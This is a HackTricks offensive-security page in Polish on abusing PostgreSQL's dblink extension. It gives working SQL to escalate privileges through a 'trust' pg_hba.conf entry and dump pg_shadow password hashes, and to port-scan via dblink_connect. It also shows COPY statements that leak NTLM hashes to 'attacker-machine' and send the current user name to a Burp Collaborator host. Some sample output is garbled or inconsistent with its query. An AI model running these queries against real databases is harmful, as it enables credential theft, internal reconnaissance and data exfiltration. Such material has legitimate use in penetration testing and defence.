Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Znajdź więcej informacji na temat tych ataków w oryginalnym artykule.

Od PostgreSQL 9.1 instalacja dodatkowych modułów jest prosta. Zarejestrowane rozszerzenia, takie jak dblink, można zainstalować za pomocą CREATE EXTENSION:

CREATE EXTENSION dblink;

Kiedy masz załadowany dblink, możesz wykonać kilka interesujących sztuczek:

Eskalacja uprawnień

Plik pg_hba.conf może być źle skonfigurowany, umożliwiając połączenia z localhostem jako dowolny użytkownik, bez konieczności znajomości hasła. Ten plik zazwyczaj znajduje się w /etc/postgresql/12/main/pg_hba.conf, a zła konfiguracja wygląda tak:

local    all    all    trust

Należy zauważyć, że ta konfiguracja jest powszechnie stosowana do zmiany hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami można ją znaleźć. Należy również zauważyć, że plik pg_hba.conf jest tylko do odczytu przez użytkownika i grupę postgres, a tylko użytkownik postgres ma do niego zapis.

Ten przypadek jest użyteczny, jeśli już masz dostęp do powłoki na ofierze, ponieważ umożliwi to połączenie z bazą danych postgresql.

Inna możliwa konfiguracja to coś takiego:

host    all     all     127.0.0.1/32    trust

Ponieważ umożliwi to każdemu z lokalnego hosta połączenie się z bazą danych jako dowolny użytkownik. W tym przypadku, jeśli funkcja dblink działa, można podnieść uprawnienia poprzez połączenie się z bazą danych za pośrednictwem już ustanowionego połączenia i uzyskanie dostępu do danych, do których nie powinno się mieć dostępu:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Skanowanie portów

Wykorzystując dblink_connect, możesz również wyszukiwać otwarte porty. Jeśli ta funkcja nie działa, powinieneś spróbować użyć dblink_connect_u(), ponieważ dokumentacja mówi, że dblink_connect_u() jest identyczne jak dblink_connect(), z wyjątkiem tego, że umożliwia nie-superużytkownikom połączenie przy użyciu dowolnej metody uwierzytelniania.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Zauważ, że przed możliwością użycia dblink_connect lub dblink_connect_u może być konieczne wykonanie:

CREATE extension dblink;

Odkrywanie ścieżki UNC - Ujawnianie skrótu NTLM

W niektórych przypadkach, gdy atakujący ma dostęp do zdalnego systemu, może być możliwe ujawnienie skrótu NTLM (NT LAN Manager) poprzez ścieżkę UNC (Universal Naming Convention). Jest to szczególnie przydatne w przypadku, gdy atakujący nie ma dostępu do pliku z hasłem, ale ma dostęp do zdalnego systemu.

Aby to osiągnąć, atakujący może wykorzystać funkcję "port scanner" w celu zidentyfikowania otwartych portów na zdalnym systemie. Następnie, atakujący może przeprowadzić atak "NTLM Challenge-Response Disclosure", który pozwala na ujawnienie skrótu NTLM.

Atakujący może wykorzystać narzędzie takie jak Responder lub Inveigh do przechwycenia ruchu sieciowego i uzyskania skrótu NTLM. Te narzędzia są w stanie przechwycić ruch sieciowy, który zawiera odpowiedzi NTLM, a następnie odszyfrować skrót NTLM.

Po uzyskaniu skrótu NTLM, atakujący może go użyć do różnych celów, takich jak próba złamania hasła lub atak "pass-the-hash", który pozwala na zalogowanie się na zdalny system bez znajomości oryginalnego hasła.

Ważne jest, aby zdawać sobie sprawę z potencjalnych zagrożeń związanych z ujawnianiem skrótu NTLM i podjąć odpowiednie środki ostrożności, takie jak stosowanie silnych haseł i regularne aktualizowanie systemów.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated